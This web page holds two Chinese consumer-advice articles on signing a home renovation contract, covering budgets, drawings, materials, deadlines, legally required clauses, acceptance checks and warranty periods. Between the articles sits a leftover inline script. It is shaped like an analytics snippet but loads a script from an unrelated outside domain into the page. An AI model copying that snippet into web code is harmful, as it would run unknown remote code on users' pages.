签订室内装修合同书有哪些需要注意的事项

现在买房子的时候需要我们签订购买合同书，在买到房子需要装修的时候，同样需要签订合同书，毕竟装修房子也是一件需要花钱的大事，而且很多室内装修也有很多讲究，要把相关事宜优先写在合同里，双方才能够更好地合作，达到双赢。那么签订室内装修合同书有哪些需要注意的事项呢?现在来带大家了解一下。首先，预算书要详细。装修房子是一件大事，工程量也不小，所以室内装修合同书里，关于一些项目的预算要尽可能的详细，家装公司的报价要给房屋装修里所涉及到的各种材料费，材料的数量，价格等做出相应的标注，以及选择哪种材料，型号，什么样的等级等等都需要有一个基础的标注，在室内装修合同书里体现出来。其次，室内装修设计的图纸要齐全。有一些家装公司在施工的进程中，甚至都没有齐全的图纸，只是口头上承认之后会在某项进程中准备齐全。但是在施工开始以后，出现自己和设计师谈的设计样式和装修出来的效果和自己在签订室内装修合同书之前谈的有很多大的差异的。有时候设计师和自己所理解的项目设计不一样，双方之间如果没有提前沟通好，很容易出现问题，所以在装修开始之前就应该在签订装修合同书的时候让对方把图纸准备齐全展现在合同里，即使后面因为一些原因要做出更改，也应该相互沟通。最后，关于装修材料的采购和验收以及施工规划的时间。装修房子肯定需要购买材料，至于哪一方来购买，购买什么样的材料，以及谁来验收这些材料都需要在签订室内装修合同书时，在合同里面标注清楚，以免双方出现纠纷。装修完了新房子，大家都想如期的住进自己的新房子里去，所以在签订装修合同书时，一定要要求对方如期的完工，如果不能的话，就要对延误工程的一方做出相应的处罚，要求对方赔偿。这两点都要在签收室内装修合同书时标注清楚。以上就是一些关于签订室内装修合同书的注意事项，希望能够帮助大家解决一些装修上遇到的麻烦，不管怎么样，签订室内装修合同书时，一定要尽可能地把所有能考虑的因素和注意事项都考虑进去，签订了室内装修合同书以后，大家可以根据合同书来完成相关事宜，这也时对自己的一种保障。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

签订装修合同注意事项有哪些?

现在的，很多的业主在对自己的新房进行装修的时候，都会把这份“光荣的任务”交给我们专业的装修公司来完成。但是呢业主在自己新房的装修施工过程中，发现了这么几个问题总是频频出现，如工期超时、一系列的装修问题。这样一直下去，只会让工程无限期延长，并且时间久了，所需费用自然也要很多，所以我们在装修新房之前就要先制订好装修合同，这样才能够保障我们自身权益?以及新房装修完后，我们该怎样去验房?为此，我们的苏州装修小编特地来采访了一下当地房地产协会有关负责人。据介绍，业主和装修公司的纠纷时有发生，事先预防尤为重要。因此来说的话，签订装修合同时一定要仔细。装修出现问题、解决问题时，都要依据合同来办。根据住宅室内装饰装修管理办法规定，住宅室内装饰装修合同应包含委托人和被委托人的姓名，或者是单位名称、住所地址、联系电话等;房间数量、建筑面积，装饰装修项目名称、方式、规格、质量要求以及质量验收的方式;合同变更和解除的条件;双方的违约责任;出现违约责任后解决纠纷的途径和合同生效的时间。需要我们特别注意的是，因为装修合同就是装修中主要的法律文件，所以装修公司的任何口头承诺都要明确体现在合同中，才能真正产生效力，一时图省事往往会带来更多的麻烦。要将装修时间、装修内容及具体价钱都写入合同，最大程度保护自己的权益。现在的很多业主会遇到这样的情况，比如在装修施工结束了的时候，我们去验收新房的时候发现墙壁脱皮、地板铺设不齐等问题。这些问题虽然看似小，但是有很多装修公司却迟迟不上门维修。住宅室内装饰装修管理办法规定，住宅室内装饰装修工程竣工后，装修人应该按照工程设计合同约定和相应质量标准进行验收。验收合格后，装饰装修企业应该出具住宅室内装饰装修的质量保修书。此时，业主不能在装修没有达到自己要求时就签验收书。此外来说的话，在我们的业主去签订合同的时候，还可以约定物业管理单位介入。物业管理单位应该按装饰装修管理服务协议经常去装修现场进行检查，对违反法律、法规和装饰装修管理服务协议内容的，应当要求装修人和装饰装修企业纠正，并将检查记录在案进行存档。在这里提醒各位业主，在装修施工完成之后，装修公司应当提前向业主提交说明书、保修单和产品的环保说明书等。在正常使用条件下，住宅室内装饰装修工程的最低保修期限一般为2年;有防水要求的厨房、卫生间和外墙面的防渗漏一般为5年。保修期自住宅室内装饰装修工程竣工验收合格之日起计算。